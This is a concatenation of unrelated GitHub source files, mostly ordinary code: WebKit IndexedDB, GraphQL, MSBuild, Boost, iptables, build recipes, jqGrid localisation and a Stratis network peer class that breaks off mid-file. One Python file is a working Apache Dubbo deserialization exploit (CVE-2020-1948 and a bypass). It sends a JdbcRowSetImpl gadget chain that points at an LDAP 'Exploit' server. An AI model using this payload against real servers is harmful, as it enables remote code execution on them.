destination.m_transactionInfo = std::make_unique<IDBTransactionInfo>(*source.m_transactionInfo, IDBTransactionInfo::IsolatedCopy);
if (source.m_resultKey)
destination.m_resultKey = std::make_unique<IDBKeyData>(*source.m_resultKey, IDBKeyData::IsolatedCopy);
if (source.m_getResult)
destination.m_getResult = std::make_unique<IDBGetResult>(*source.m_getResult, IDBGetResult::IsolatedCopy);
if (source.m_getAllResult)
destination.m_getAllResult = std::make_unique<IDBGetAllResult>(*source.m_getAllResult, IDBGetAllResult::IsolatedCopy);
}
IDBResultData IDBResultData::error(const IDBResourceIdentifier& requestIdentifier, const IDBError& error)
{
IDBResultData result { requestIdentifier };
result.m_type = IDBResultType::Error;
result.m_error = error;
return result;
}
IDBResultData IDBResultData::openDatabaseSuccess(const IDBResourceIdentifier& requestIdentifier, IDBServer::UniqueIDBDatabaseConnection& connection)
{
IDBResultData result { requestIdentifier };
result.m_type = IDBResultType::OpenDatabaseSuccess;
result.m_databaseConnectionIdentifier = connection.identifier();
result.m_databaseInfo = std::make_unique<IDBDatabaseInfo>(connection.database()->info());
return result;
}
IDBResultData IDBResultData::openDatabaseUpgradeNeeded(const IDBResourceIdentifier& requestIdentifier, IDBServer::UniqueIDBDatabaseTransaction& transaction)
{
IDBResultData result { requestIdentifier };
result.m_type = IDBResultType::OpenDatabaseUpgradeNeeded;
result.m_databaseConnectionIdentifier = transaction.databaseConnection().identifier();
result.m_databaseInfo = std::make_unique<IDBDatabaseInfo>(transaction.databaseConnection().database()->info());
result.m_transactionInfo = std::make_unique<IDBTransactionInfo>(transaction.info());
return result;
}
IDBResultData IDBResultData::deleteDatabaseSuccess(const IDBResourceIdentifier& requestIdentifier, const IDBDatabaseInfo& info)
{
IDBResultData result {IDBResultType::DeleteDatabaseSuccess, requestIdentifier };
result.m_databaseInfo = std::make_unique<IDBDatabaseInfo>(info);
return result;
}
IDBResultData IDBResultData::createObjectStoreSuccess(const IDBResourceIdentifier& requestIdentifier)
{
return { IDBResultType::CreateObjectStoreSuccess, requestIdentifier };
}
IDBResultData IDBResultData::deleteObjectStoreSuccess(const IDBResourceIdentifier& requestIdentifier)
{
return { IDBResultType::DeleteObjectStoreSuccess, requestIdentifier };
}
IDBResultData IDBResultData::renameObjectStoreSuccess(const IDBResourceIdentifier& requestIdentifier)
{
return { IDBResultType::RenameObjectStoreSuccess, requestIdentifier };
}
IDBResultData IDBResultData::clearObjectStoreSuccess(const IDBResourceIdentifier& requestIdentifier)
{
return { IDBResultType::ClearObjectStoreSuccess, requestIdentifier };
}
IDBResultData IDBResultData::createIndexSuccess(const IDBResourceIdentifier& requestIdentifier)
{
return { IDBResultType::CreateIndexSuccess, requestIdentifier };
}
IDBResultData IDBResultData::deleteIndexSuccess(const IDBResourceIdentifier& requestIdentifier)
{
return { IDBResultType::DeleteIndexSuccess, requestIdentifier };
}
IDBResultData IDBResultData::renameIndexSuccess(const IDBResourceIdentifier& requestIdentifier)
{
return { IDBResultType::RenameIndexSuccess, requestIdentifier };
}
IDBResultData IDBResultData::putOrAddSuccess(const IDBResourceIdentifier& requestIdentifier, const IDBKeyData& resultKey)
{
IDBResultData result { IDBResultType::PutOrAddSuccess, requestIdentifier };
result.m_resultKey = std::make_unique<IDBKeyData>(resultKey);
return result;
}
IDBResultData IDBResultData::getRecordSuccess(const IDBResourceIdentifier& requestIdentifier, const IDBGetResult& getResult)
{
IDBResultData result { IDBResultType::GetRecordSuccess, requestIdentifier };
result.m_getResult = std::make_unique<IDBGetResult>(getResult);
return result;
}
IDBResultData IDBResultData::getAllRecordsSuccess(const IDBResourceIdentifier& requestIdentifier, const IDBGetAllResult& getAllResult)
{
IDBResultData result { IDBResultType::GetAllRecordsSuccess, requestIdentifier };
result.m_getAllResult = std::make_unique<IDBGetAllResult>(getAllResult);
return result;
}
IDBResultData IDBResultData::getCountSuccess(const IDBResourceIdentifier& requestIdentifier, uint64_t count)
{
IDBResultData result { IDBResultType::GetRecordSuccess, requestIdentifier };
result.m_resultInteger = count;
return result;
}
IDBResultData IDBResultData::deleteRecordSuccess(const IDBResourceIdentifier& requestIdentifier)
{
return { IDBResultType::DeleteRecordSuccess, requestIdentifier };
}
IDBResultData IDBResultData::openCursorSuccess(const IDBResourceIdentifier& requestIdentifier, const IDBGetResult& getResult)
{
IDBResultData result { IDBResultType::OpenCursorSuccess, requestIdentifier };
result.m_getResult = std::make_unique<IDBGetResult>(getResult);
return result;
}
IDBResultData IDBResultData::iterateCursorSuccess(const IDBResourceIdentifier& requestIdentifier, const IDBGetResult& getResult)
{
IDBResultData result { IDBResultType::IterateCursorSuccess, requestIdentifier };
result.m_getResult = std::make_unique<IDBGetResult>(getResult);
return result;
}
const IDBDatabaseInfo& IDBResultData::databaseInfo() const
{
RELEASE_ASSERT(m_databaseInfo);
return *m_databaseInfo;
}
const IDBTransactionInfo& IDBResultData::transactionInfo() const
{
RELEASE_ASSERT(m_transactionInfo);
return *m_transactionInfo;
}
const IDBGetResult& IDBResultData::getResult() const
{
RELEASE_ASSERT(m_getResult);
return *m_getResult;
}
IDBGetResult& IDBResultData::getResultRef()
{
RELEASE_ASSERT(m_getResult);
return *m_getResult;
}
const IDBGetAllResult& IDBResultData::getAllResult() const
{
RELEASE_ASSERT(m_getAllResult);
return *m_getAllResult;
}
} // namespace WebCore
#endif // ENABLE(INDEXED_DATABASE)
| {
"pile_set_name": "Github"
} |
import {GraphQLInt, GraphQLList, GraphQLNonNull, GraphQLObjectType} from 'graphql'
import {GQLContext} from '../../graphql'
import DomainCountPayload from './DomainCountPayload'
import authCount from '../queries/helpers/authCount'
import authCountByDomain from '../queries/helpers/authCountByDomain'
const LoginsPayload = new GraphQLObjectType<any, GQLContext, any>({
name: 'LoginsPayload',
fields: () => ({
total: {
type: GraphQLNonNull(GraphQLInt),
description: 'the total number of records',
resolve: async ({after, isActive}) => {
return authCount(after, isActive, 'lastSeenAt')
}
},
byDomain: {
type: GraphQLNonNull(GraphQLList(GraphQLNonNull(DomainCountPayload))),
description: 'The total broken down by email domain',
resolve: async ({after, isActive}) => {
return authCountByDomain(after, isActive, 'lastSeenAt')
}
}
})
})
export default LoginsPayload
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{DA4BC67F-9284-4D2C-81D5-407312C31BD7}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>deprecated_test</RootNamespace>
<WindowsTargetPlatformVersion>10.0.15063.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="..\common.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="..\common.props" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\..\deprecated_test.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project> | {
"pile_set_name": "Github"
} |
// Copyright John Maddock 2008.
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
# include <pch.hpp>
#ifndef BOOST_MATH_TR1_SOURCE
# define BOOST_MATH_TR1_SOURCE
#endif
#include <boost/math/tr1.hpp>
#include <boost/math/special_functions/ellint_2.hpp>
#include "c_policy.hpp"
extern "C" float BOOST_MATH_TR1_DECL boost_ellint_2f BOOST_PREVENT_MACRO_SUBSTITUTION(float k, float phi) BOOST_MATH_C99_THROW_SPEC
{
return c_policies::ellint_2 BOOST_PREVENT_MACRO_SUBSTITUTION(k, phi);
}
| {
"pile_set_name": "Github"
} |
package Paws::IoTSecureTunneling::TagResourceResponse;
use Moose;
has _request_id => (is => 'ro', isa => 'Str');
### main pod documentation begin ###
=head1 NAME
Paws::IoTSecureTunneling::TagResourceResponse
=head1 ATTRIBUTES
=head2 _request_id => Str
=cut
1; | {
"pile_set_name": "Github"
} |
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
import sys
client = DubboClient('127.0.0.1', int(sys.argv[1]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:1389/Exploit",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
# POC 1 CVE-2020-1948
# resp = client.send_request_and_return_response(
# service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
# method_name='rce',
# args=[toStringBean])
# 2.7.7 bypass
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
method_name=[toStringBean],
service_version='1.0.0',
args=[])
print(resp)
| {
"pile_set_name": "Github"
} |
import scala.quoted._
inline def f: Any = ${ fImpl }
private def fImpl(using qctx: QuoteContext) : Expr[Unit] = {
import qctx.tasty._
searchImplicit(('[A]).unseal.tpe) match {
case x: ImplicitSearchSuccess =>
'{}
case x: DivergingImplicit => '{}
error("DivergingImplicit\n" + x.explanation, rootPosition)
'{}
case x: NoMatchingImplicits =>
error("NoMatchingImplicits\n" + x.explanation, rootPosition)
'{}
case x: AmbiguousImplicits =>
error("AmbiguousImplicits\n" + x.explanation, rootPosition)
'{}
}
}
class A
| {
"pile_set_name": "Github"
} |
#include <stdio.h>
#include <xtables.h>
#include <linux/netfilter/xt_helper.h>
enum {
O_HELPER = 0,
};
static void helper_help(void)
{
printf(
"helper match options:\n"
"[!] --helper string Match helper identified by string\n");
}
static const struct xt_option_entry helper_opts[] = {
{.name = "helper", .id = O_HELPER, .type = XTTYPE_STRING,
.flags = XTOPT_MAND | XTOPT_INVERT | XTOPT_PUT,
XTOPT_POINTER(struct xt_helper_info, name)},
XTOPT_TABLEEND,
};
static void helper_parse(struct xt_option_call *cb)
{
struct xt_helper_info *info = cb->data;
xtables_option_parse(cb);
if (cb->invert)
info->invert = 1;
}
static void
helper_print(const void *ip, const struct xt_entry_match *match, int numeric)
{
const struct xt_helper_info *info = (const void *)match->data;
printf(" helper match %s\"%s\"", info->invert ? "! " : "", info->name);
}
static void helper_save(const void *ip, const struct xt_entry_match *match)
{
const struct xt_helper_info *info = (const void *)match->data;
printf("%s --helper", info->invert ? " !" : "");
xtables_save_string(info->name);
}
static struct xtables_match helper_match = {
.family = NFPROTO_UNSPEC,
.name = "helper",
.version = XTABLES_VERSION,
.size = XT_ALIGN(sizeof(struct xt_helper_info)),
.help = helper_help,
.print = helper_print,
.save = helper_save,
.x6_parse = helper_parse,
.x6_options = helper_opts,
};
void _init(void)
{
xtables_register_match(&helper_match);
}
| {
"pile_set_name": "Github"
} |
################################################################################
#
# lzo
#
################################################################################
LZO_VERSION = 2.10
LZO_SITE = http://www.oberhumer.com/opensource/lzo/download
LZO_LICENSE = GPL-2.0+
LZO_LICENSE_FILES = COPYING
LZO_INSTALL_STAGING = YES
LZO_SUPPORTS_IN_SOURCE_BUILD = NO
ifeq ($(BR2_SHARED_LIBS)$(BR2_SHARED_STATIC_LIBS),y)
LZO_CONF_OPTS += -DENABLE_SHARED=ON
else
LZO_CONF_OPTS += -DENABLE_SHARED=OFF
endif
ifeq ($(BR2_STATIC_LIBS)$(BR2_SHARED_STATIC_LIBS),y)
LZO_CONF_OPTS += -DENABLE_STATIC=ON
else
LZO_CONF_OPTS += -DENABLE_STATIC=OFF
endif
$(eval $(cmake-package))
$(eval $(host-cmake-package))
| {
"pile_set_name": "Github"
} |
# $FreeBSD$
PORTNAME= kbounce
DISTVERSION= ${KDE_APPLICATIONS_VERSION}
CATEGORIES= games kde kde-applications
MAINTAINER= kde@FreeBSD.org
COMMENT= ${${PORTNAME:tu}_DESC}
USES= cmake compiler:c++11-lang gettext kde:5 qt:5 tar:xz
USE_KDE= auth codecs completion config configwidgets coreaddons crash \
dbusaddons ecm guiaddons i18n iconthemes jobwidgets kio \
libkdegames notifyconfig service textwidgets widgetsaddons xmlgui
USE_QT= concurrent core dbus declarative gui network phonon4 svg \
testlib widgets xml \
buildtools_build qmake_build
OPTIONS_DEFINE= DOCS
.include <${.CURDIR}/../kdegames/Makefile.common>
.include <bsd.port.mk>
| {
"pile_set_name": "Github"
} |
(function(a) {
a.jgrid = a.jgrid || {};
a.extend(a.jgrid,{
defaults:
{
recordtext: "regels {0} - {1} van {2}",
emptyrecords: "Geen data gevonden.",
loadtext: "laden...",
pgtext: "pagina {0} van {1}"
},
search:
{
caption: "Zoeken...",
Find: "Zoek",
Reset: "Herstellen",
odata: [{ oper:'eq', text:"gelijk aan"},{ oper:'ne', text:"niet gelijk aan"},{ oper:'lt', text:"kleiner dan"},{ oper:'le', text:"kleiner dan of gelijk aan"},{ oper:'gt', text:"groter dan"},{ oper:'ge', text:"groter dan of gelijk aan"},{ oper:'bw', text:"begint met"},{ oper:'bn', text:"begint niet met"},{ oper:'in', text:"is in"},{ oper:'ni', text:"is niet in"},{ oper:'ew', text:"eindigd met"},{ oper:'en', text:"eindigd niet met"},{ oper:'cn', text:"bevat"},{ oper:'nc', text:"bevat niet"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}],
groupOps: [{ op: "AND", text: "alle" }, { op: "OR", text: "een van de"}],
operandTitle : "Click to select search operation.",
resetTitle : "Reset Search Value"
},
edit:
{
addCaption: "Nieuw",
editCaption: "Bewerken",
bSubmit: "Opslaan",
bCancel: "Annuleren",
bClose: "Sluiten",
saveData: "Er is data aangepast! Wijzigingen opslaan?",
bYes: "Ja",
bNo: "Nee",
bExit: "Sluiten",
msg:
{
required: "Veld is verplicht",
number: "Voer a.u.b. geldig nummer in",
minValue: "Waarde moet groter of gelijk zijn aan ",
maxValue: "Waarde moet kleiner of gelijks zijn aan",
email: "is geen geldig e-mailadres",
integer: "Voer a.u.b. een geldig getal in",
date: "Voer a.u.b. een geldige waarde in",
url: "is geen geldige URL. Prefix is verplicht ('http://' or 'https://')",
nodefined : " is not defined!",
novalue : " return value is required!",
customarray : "Custom function should return array!",
customfcheck : "Custom function should be present in case of custom checking!"
}
},
view:
{
caption: "Tonen",
bClose: "Sluiten"
},
del:
{
caption: "Verwijderen",
msg: "Verwijder geselecteerde regel(s)?",
bSubmit: "Verwijderen",
bCancel: "Annuleren"
},
nav:
{
edittext: "",
edittitle: "Bewerken",
addtext: "",
addtitle: "Nieuw",
deltext: "",
deltitle: "Verwijderen",
searchtext: "",
searchtitle: "Zoeken",
refreshtext: "",
refreshtitle: "Vernieuwen",
alertcap: "Waarschuwing",
alerttext: "Selecteer a.u.b. een regel",
viewtext: "",
viewtitle: "Openen"
},
col:
{
caption: "Tonen/verbergen kolommen",
bSubmit: "OK",
bCancel: "Annuleren"
},
errors:
{
errcap: "Fout",
nourl: "Er is geen URL gedefinieerd",
norecords: "Geen data om te verwerken",
model: "Lengte van 'colNames' is niet gelijk aan 'colModel'!"
},
formatter:
{
integer:
{
thousandsSeparator: ".",
defaultValue: "0"
},
number:
{
decimalSeparator: ",",
thousandsSeparator: ".",
decimalPlaces: 2,
defaultValue: "0.00"
},
currency:
{
decimalSeparator: ",",
thousandsSeparator: ".",
decimalPlaces: 2,
prefix: "EUR ",
suffix: "",
defaultValue: "0.00"
},
date:
{
dayNames: ["Zo", "Ma", "Di", "Wo", "Do", "Vr", "Za", "Zondag", "Maandag", "Dinsdag", "Woensdag", "Donderdag", "Vrijdag", "Zaterdag"],
monthNames: ["Jan", "Feb", "Maa", "Apr", "Mei", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", "Januari", "Februari", "Maart", "April", "Mei", "Juni", "Juli", "Augustus", "September", "October", "November", "December"],
AmPm: ["am", "pm", "AM", "PM"],
S: function(b) {
return b < 11 || b > 13 ? ["st", "nd", "rd", "th"][Math.min((b - 1) % 10, 3)] : "th"
},
srcformat: "Y-m-d",
newformat: "d/m/Y",
parseRe : /[#%\\\/:_;.,\t\s-]/,
masks:
{
ISO8601Long: "Y-m-d H:i:s",
ISO8601Short: "Y-m-d",
ShortDate: "n/j/Y",
LongDate: "l, F d, Y",
FullDateTime: "l d F Y G:i:s",
MonthDay: "d F",
ShortTime: "G:i",
LongTime: "G:i:s",
SortableDateTime: "Y-m-d\\TH:i:s",
UniversalSortableDateTime: "Y-m-d H:i:sO",
YearMonth: "F, Y"
},
reformatAfterEdit: false
},
baseLinkUrl: "",
showAction: "",
target: "",
checkbox:
{
disabled: true
},
idName: "id"
}
});
})(jQuery); | {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard.
//
#import <objc/NSObject.h>
@interface TVolumeRestoreHelper : NSObject
{
_Bool _eraseInProgress;
_Bool _eraseSuccessful;
}
+ (id)xattrStringValueForKey:(id)arg1 url:(id)arg2;
- (_Bool)doesSnapshotPathSupportBooting:(id)arg1;
- (_Bool)isSnapshotPathAVolume:(id)arg1;
- (_Bool)isAtLeastMountainLion:(id)arg1;
- (_Bool)isSystemVolume:(id)arg1;
@end
| {
"pile_set_name": "Github"
} |
class Logging {
public static enableDebug = false;
public static disableWarnings = false;
public static disableErrors = false;
private static TAG = "ApplicationInsights:";
public static info(message?: any, ...optionalParams: any[]) {
if(Logging.enableDebug) {
console.info(Logging.TAG + message, optionalParams);
}
}
public static warn(message?: any, ...optionalParams: any[]) {
if(!Logging.disableWarnings) {
console.warn(Logging.TAG + message, optionalParams);
}
}
}
export = Logging; | {
"pile_set_name": "Github"
} |
{
"types": [
{
"type_attrs": [
{
"name": "title",
"value_type": "string"
},
{
"name": "url",
"value_type": "string"
},
{
"name": "release",
"value_type": "string"
}
],
"type_id": 1,
"type_name": "Movies"
}
]
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/ruby
gets;$<.map{|e|n,d=e.split.map &:to_i;p 127*n+[-d,d-127][n%2]}
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Extensions.Logging;
using NBitcoin;
using NBitcoin.Protocol;
using Stratis.Bitcoin.AsyncWork;
using Stratis.Bitcoin.EventBus.CoreEvents;
using Stratis.Bitcoin.P2P.Protocol;
using Stratis.Bitcoin.P2P.Protocol.Behaviors;
using Stratis.Bitcoin.P2P.Protocol.Payloads;
using Stratis.Bitcoin.Utilities;
using TracerAttributes;
namespace Stratis.Bitcoin.P2P.Peer
{
/// <summary>
/// State of the network connection to a peer.
/// </summary>
public enum NetworkPeerState : int
{
/// <summary>Initial state of an outbound peer.</summary>
Created = 0,
/// <summary>Network connection with the peer has been established.</summary>
Connected,
/// <summary>The node and the peer exchanged version information.</summary>
HandShaked,
/// <summary>Process of disconnecting the peer has been initiated.</summary>
Disconnecting,
/// <summary>Shutdown has been initiated, the node went offline.</summary>
Offline,
/// <summary>An error occurred during a network operation.</summary>
Failed
}
/// <summary>
/// Explanation of why a peer was disconnected.
/// </summary>
public class NetworkPeerDisconnectReason
{
/// <summary>Human readable reason for disconnecting.</summary>
public string Reason { get; set; }
/// <summary>Exception because of which the disconnection happened, or <c>null</c> if there were no exceptions.</summary>
public Exception Exception { get; set; }
}
/// <summary>
/// Protocol requirement for network peers the node wants to be connected to.
/// </summary>
public class NetworkPeerRequirement
{
/// <summary>Minimal protocol version that the peer must support or <c>null</c> if there is no requirement for minimal protocol version.</summary>
public ProtocolVersion? MinVersion { get; set; }
/// <summary>Specification of network services that the peer must provide.</summary>
public NetworkPeerServices RequiredServices { get; set; }
/// <summary>
/// Checks a version payload from a peer against the requirements.
/// </summary>
/// <param name="version">Version payload to check.</param>
/// <param name="inbound">Set to <c>true</c> if this is an inbound connection and <c>false</c> otherwise.</param>
/// <param name="reason">The reason the check failed.</param>
/// <returns><c>true</c> if the version payload satisfies the protocol requirements, <c>false</c> otherwise.</returns>
public virtual bool Check(VersionPayload version, bool inbound, out string reason)
{
reason = string.Empty;
if (this.MinVersion != null)
{
if (version.Version < this.MinVersion.Value)
{
reason = "peer version is too low";
return false;
}
}
if (!inbound && ((this.RequiredServices & version.Services) != this.RequiredServices))
{
reason = "network service not supported";
return false;
}
return true;
}
}
/// <inheritdoc/>
/// <remarks>
/// All instances of this object must be disposed or disconnected. <see cref="Disconnect(string, Exception)"/> and disposing methods
/// have the same functionality and the disconnecting method is provided only for better readability of the code.
/// <para>It is safe to try to disconnect or dispose this object multiple times, only the first call will be processed.</para>
/// </remarks>
public class NetworkPeer : INetworkPeer
{
/// <summary>
/// Execution context holding information about the current status of the execution
/// in order to recognize if <see cref="NetworkPeer.onDisconnected"/> callback was requested from the same async context.
/// </summary>
private class DisconnectedExecutionAsyncContext
{
/// <summary>
/// Set to <c>true</c> if <see cref="NetworkPeer.onDisconnected"/> was
/// called from within the current async context, set to <c>false</c> otherwise.
/// </summary>
public bool DisconnectCallbackRequested { get; set; }
}
/// <summary>Tracker for endpoints known to be self. </summary>
private readonly ISelfEndpointTracker selfEndpointTracker;
private readonly IAsyncProvider asyncProvider;
/// <summary>Instance logger.</summary>
private readonly ILogger logger;
/// <summary>Provider of time functions.</summary>
private readonly IDateTimeProvider dateTimeProvider;
/// <inheritdoc/>
public NetworkPeerState State { get; private set; }
/// <summary>Table of valid transitions between peer states.</summary>
private static readonly Dictionary<NetworkPeerState, NetworkPeerState[]> StateTransitionTable = new Dictionary<NetworkPeerState, NetworkPeerState[]>()
{
{ NetworkPeerState.Created, new[] { NetworkPeerState.Connected, NetworkPeerState.Offline, NetworkPeerState.Failed} },
{ NetworkPeerState.Connected, new[] { NetworkPeerState.HandShaked, NetworkPeerState.Disconnecting, NetworkPeerState.Offline, NetworkPeerState.Failed} },
{ NetworkPeerState.HandShaked, new[] { NetworkPeerState.Disconnecting, NetworkPeerState.Offline, NetworkPeerState.Failed} },
{ NetworkPeerState.Disconnecting, new[] { NetworkPeerState.Offline, NetworkPeerState.Failed} },
{ NetworkPeerState.Offline, new NetworkPeerState[] {} },
{ NetworkPeerState.Failed, new NetworkPeerState[] {} }
};
/// <inheritdoc/>
public IPEndPoint RemoteSocketEndpoint { get; private set; }
/// <inheritdoc/>
public IPAddress RemoteSocketAddress => this.RemoteSocketEndpoint.Address;
/// <inheritdoc/>
public int RemoteSocketPort => this.RemoteSocketEndpoint.Port;
/// <inheritdoc/>
public bool Inbound { get; private set; }
/// <inheritdoc/>
public List<INetworkPeerBehavior> Behaviors { get; private set; }
/// <inheritdoc/>
public IPEndPoint PeerEndPoint { get; private set; }
/// <inheritdoc/>
public TimeSpan? TimeOffset { get; private set; }
/// <inheritdoc/>
public NetworkPeerConnection Connection { get; private set; }
/// <summary>Statistics about the number of bytes transferred from and to the peer.</summary>
private PerformanceCounter counter;
/// <inheritdoc/>
public PerformanceCounter Counter
{
get
{
if (this.counter == null)
this.counter = new PerformanceCounter();
return this.counter;
}
}
/// <inheritdoc/>
public ProtocolVersion Version
{
get
{
ProtocolVersion peerVersion = this.PeerVersion == null ? this.MyVersion.Version : this.PeerVersion.Version;
ProtocolVersion myVersion = this.MyVersion.Version;
uint min = Math.Min((uint)peerVersion, (uint)myVersion);
return (ProtocolVersion)min;
}
}
/// <inheritdoc/>
public bool IsConnected
{
get
{
return (this.State == NetworkPeerState.Connected) || (this.State == NetworkPeerState.HandShaked);
}
}
/// <inheritdoc />
public bool MatchRemoteIPAddress(IPAddress ip, int? port = null)
{
bool isConnectedOrHandShaked = (this.State == NetworkPeerState.Connected || this.State == NetworkPeerState.HandShaked);
bool isAddressMatching = this.RemoteSocketAddress.Equals(ip)
&& (!port.HasValue || port == this.RemoteSocketPort);
bool isPeerVersionAddressMatching = this.PeerVersion?.AddressFrom != null
&& this.PeerVersion.AddressFrom.Address.Equals(ip)
&& (!port.HasValue || port == this.PeerVersion.AddressFrom.Port);
return (isConnectedOrHandShaked && isAddressMatching) || isPeerVersionAddressMatching;
}
/// <summary><c>true</c> to advertise "addr" message with our external endpoint to the peer when passing to <see cref="NetworkPeerState.HandShaked"/> state.</summary>
private bool advertize;
/// <inheritdoc/>
public VersionPayload MyVersion { get; private set; }
/// <inheritdoc/>
public VersionPayload PeerVersion { get; private set; }
/// <summary>Set to <c>1</c> if the peer disconnection has been initiated, <c>0</c> otherwise.</summary>
private int disconnected;
/// <summary>Set to <c>1</c> if the peer disposal has been initiated, <c>0</c> otherwise.</summary>
private int disposed;
/// <summary>
/// Async context to allow to recognize whether <see cref="onDisconnected"/> callback execution is scheduled in this async context.
/// <para>
/// It is not <c>null</c> if one of the following callbacks is in progress: <see cref="StateChanged"/>, <see cref="MessageReceived"/>,
/// set to <c>null</c> otherwise.
/// </para>
/// </summary>
private readonly AsyncLocal<DisconnectedExecutionAsyncContext> onDisconnectedAsyncContext;
/// <summary>Transaction options we would like.</summary>
private TransactionOptions preferredTransactionOptions;
/// <inheritdoc/>
public TransactionOptions SupportedTransactionOptions { get; private set; }
/// <inheritdoc/>
public NetworkPeerDisconnectReason DisconnectReason { get; private set; }
/// <inheritdoc/>
public Network Network { get; set; }
/// <inheritdoc/>
public AsyncExecutionEvent<INetworkPeer, NetworkPeerState> StateChanged { get; private set; }
/// <inheritdoc/>
public AsyncExecutionEvent<INetworkPeer, IncomingMessage> MessageReceived { get; private set; }
/// <inheritdoc/>
public NetworkPeerConnectionParameters ConnectionParameters { get; private set; }
/// <inheritdoc/>
public MessageProducer<IncomingMessage> MessageProducer { get { return this.Connection.MessageProducer; } }
/// <summary>Callback that is invoked when peer has finished disconnecting, or <c>null</c> when no notification after the disconnection is required.</summary>
private readonly Action<INetworkPeer> onDisconnected;
/// <summary>Callback that is invoked just before a message is to be sent to a peer, or <c>null</c> when nothing needs to be called.</summary>
private readonly Action<IPEndPoint, Payload> onSendingMessage;
/// <summary>A queue for sending payload messages to peers.</summary>
private readonly IAsyncDelegateDequeuer<Payload> asyncPayloadsQueue;
/// <summary>
/// Initializes parts of the object that are common for both inbound and outbound peers.
/// </summary>
/// <param name="inbound"><c>true</c> for inbound peers, <c>false</c> for outbound peers.</param>
/// <param name="peerEndPoint">IP address and port on the side of the peer.</param>
/// <param name="network">Specification of the network the node runs on - regtest/testnet/mainnet.</param>
